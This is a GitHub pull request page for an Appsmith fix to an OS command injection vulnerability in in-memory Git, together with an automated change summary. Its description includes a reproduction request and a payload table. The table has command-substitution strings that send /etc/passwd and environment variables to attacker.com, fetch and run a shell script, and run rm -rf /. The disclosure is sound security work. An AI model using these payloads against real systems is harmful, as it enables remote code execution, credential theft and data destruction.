Skip to content

fix: os command injection vulnerability when in-memory Git is enabled#41525

Merged
subrata71 merged 1 commit intoreleasefrom
fix/os-command-injection-vulnerability-w-in-mem-git
Jan 28, 2026
Merged

fix: os command injection vulnerability when in-memory Git is enabled#41525
subrata71 merged 1 commit intoreleasefrom
fix/os-command-injection-vulnerability-w-in-mem-git

Conversation

@subrata71
Copy link
Collaborator

@subrata71 subrata71 commented Jan 26, 2026

Description

Exploitation Proof

Set Malicious Git Profile:

PUT /api/v1/git/profile/app/{applicationId}
Content-Type: application/json

{
    "authorName": "x$(sleep 5)",
    "authorEmail": "attacker@example.com",
    "useGlobalProfile": false
}

Generated Bash Script (what BashService creates):

# ... git.sh content ...
arg1="attacker@example.com"
arg2="x$(sleep 5)"           # <-- COMMAND EXECUTED HERE
arg3="<private_key>"
# ...
git_download "$arg1" "$arg2" "$arg3" ...

Trigger Git Operation:

GET /api/v1/git/pull/app/{applicationId}

Result: The $(sleep 5) is executed during bash variable assignment, causing a 5-second delay confirming RCE.

More Dangerous Payloads

Payload Effect
x$(id) Shows server user context
x$(curl attacker.com/$(whoami)) Exfiltrate username
x$(cat /etc/passwd|base64 -w0|curl -d @- attacker.com) Exfiltrate passwd file
x$(env|curl -d @- attacker.com) Exfiltrate ALL environment variables (DB creds, API keys)
x$(curl attacker.com/shell.sh|bash) Download and execute reverse shell
x$(rm -rf /) Denial of Service (destructive)

Fixes https://linear.app/appsmith/issue/V2-2529/vulnerability-os-command-injection-in-in-memory-git
Fixes https://github.com/appsmithorg/appsmith/security/advisories/GHSA-2j8h-44vf-xp8p

Shadow EE PR: https://github.com/appsmithorg/appsmith-ee/pull/8565

Automation

/ok-to-test tags="@tag.All"

🔍 Cypress test results

Tip

🟢 🟢 🟢 All cypress tests have passed! 🎉 🎉 🎉
Workflow run: https://github.com/appsmithorg/appsmith/actions/runs/21347209127
Commit: f86dd26
Cypress dashboard.
Tags: @tag.All
Spec:


Tue, 27 Jan 2026 14:43:24 UTC

Communication

Should the DevRel and Marketing teams inform users about this change?

  • Yes
  • No

Summary by CodeRabbit

  • Bug Fixes

    • Enhanced shell command safety in Git operations to ensure secure argument processing and execution.
  • Tests

    • Added comprehensive test coverage for Git operations, including security scenarios, edge cases, and injection prevention validation across multiple test suites.

✏️ Tip: You can customize this high-level summary in your review settings.

@subrata71 subrata71 requested a review from a team as a code owner January 26, 2026 05:21
@linear
Copy link

linear bot commented Jan 26, 2026

@subrata71 subrata71 self-assigned this Jan 26, 2026
@subrata71 subrata71 added the ok-to-test Required label for CI label Jan 26, 2026
@github-actions github-actions bot added the Bug Something isn't working label Jan 26, 2026
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 26, 2026

Walkthrough

This change implements shell command injection protection by introducing a shellEscape utility method in BashService that wraps arguments in POSIX-compliant single quotes. The method is integrated into command building logic and supported by comprehensive security-focused test coverage across multiple test suites.

Changes

Cohort / File(s) Summary
Shell Argument Escaping
app/server/appsmith-git/src/main/java/com/appsmith/git/service/BashService.java, app/server/appsmith-git/src/test/java/com/appsmith/git/service/BashServiceTest.java
Added private shellEscape(String) utility method for POSIX-compliant single-quote wrapping of shell arguments; updated buildFullCommand to use escaped values in variable assignments. Test suite adds 482 lines of comprehensive security coverage including command injection patterns (command substitution, backticks, variable expansion), edge cases (null, quotes, newlines), and integration validation.
Integration Security Tests
app/server/appsmith-server/src/test/java/com/appsmith/server/aspect/GitRouteAspectTest.java
Added 113 lines of security test cases validating GitProfile payload handling for git author metadata and branch name collection with injection-like inputs, confirming downstream escaping by BashService.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

Single quotes defend the command line's gate, 🛡️
Shell escapes prevent injection's cruel fate,
Arguments wrapped in safety's embrace,
Security tests run at a brisk pace,
Shell safety levels the battleground straight.

🚥 Pre-merge checks | ✅ 1 | ❌ 2
❌ Failed checks (1 warning, 1 inconclusive)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 12.24% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Description check ❓ Inconclusive PR description provides detailed vulnerability context with reproduction steps and dangerous payload examples, but lacks required template sections. Add issue link formatting, confirm DevRel/Marketing communication checkbox selection, and clarify if this is a security fix requiring special announcement procedures.
✅ Passed checks (1 passed)
Check name Status Explanation
Title check ✅ Passed The title 'fix: os command injection vulnerability when in-memory Git is enabled' clearly and specifically identifies the main security fix in the changeset.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@subrata71 subrata71 merged commit 03c483e into release Jan 28, 2026
108 of 112 checks passed
@subrata71 subrata71 deleted the fix/os-command-injection-vulnerability-w-in-mem-git branch January 28, 2026 04:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Bug Something isn't working ok-to-test Required label for CI

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants